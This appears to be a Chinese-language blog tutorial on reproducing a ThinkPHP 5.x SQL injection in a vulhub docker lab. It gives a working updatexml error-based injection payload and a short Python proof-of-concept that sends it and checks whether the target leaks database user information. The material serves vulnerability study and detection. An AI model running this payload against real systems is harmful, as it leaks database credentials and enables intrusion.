一.漏洞介绍
ThinkPHP是在中国使用极为广泛的PHP开发框架。在其版本5.0(<5.1.23)中,当处于debug模式下时,如果数据库抛出错误,那么ThinkPHP就会一起报错,并输出数据库配置信息。
漏洞原理
参考大佬的文章
ThinkPHP5 SQL注入漏洞 && PDO真/伪预处理分析 | 离别歌 (leavesongs.com)
影响版本
5.0.13<=Thinkphp<=5.0.15 ,5.1.0<=ThinkPHP<=5.1.5
二.漏洞复现
1.用docker启动vulhub中的环境
cd vulhub/thinkphp/in-sqlinjection
docker-compose up -d
访问http://your-ip/index.php?ids[]=1&ids[]=2
,显示下面这个页面即搭建成功
2.利用构造payload让他报错,从而爆出配置信息和数据库账号密码
/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1
三.POC编写
正常这种POC只用写得到网页源码以及对payload导致的关键字进行验证即可,这里的页面是个报错的页面所以要用到error模块
urllib.error用于处理与urllib库相关的错误。它包含了一些异常类,用于捕获和处理在使用urllib库时可能发生的错误。
编写如下
import urllib.request
import urllib.error
url='http://192.168.132.42/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1'
try:
r=urllib.request.Request(url)
response=urllib.request.urlopen(r)
re=response.read().decode('utf-8')#获取网页源码
except urllib.error.HTTPError as er:# 捕获HTTP错误异常
if er.code==500 and 'root@' in er.read().decode('utf-8'):#检查HTTP错误状态码和响应内容符合即存在漏洞
print("存在漏洞")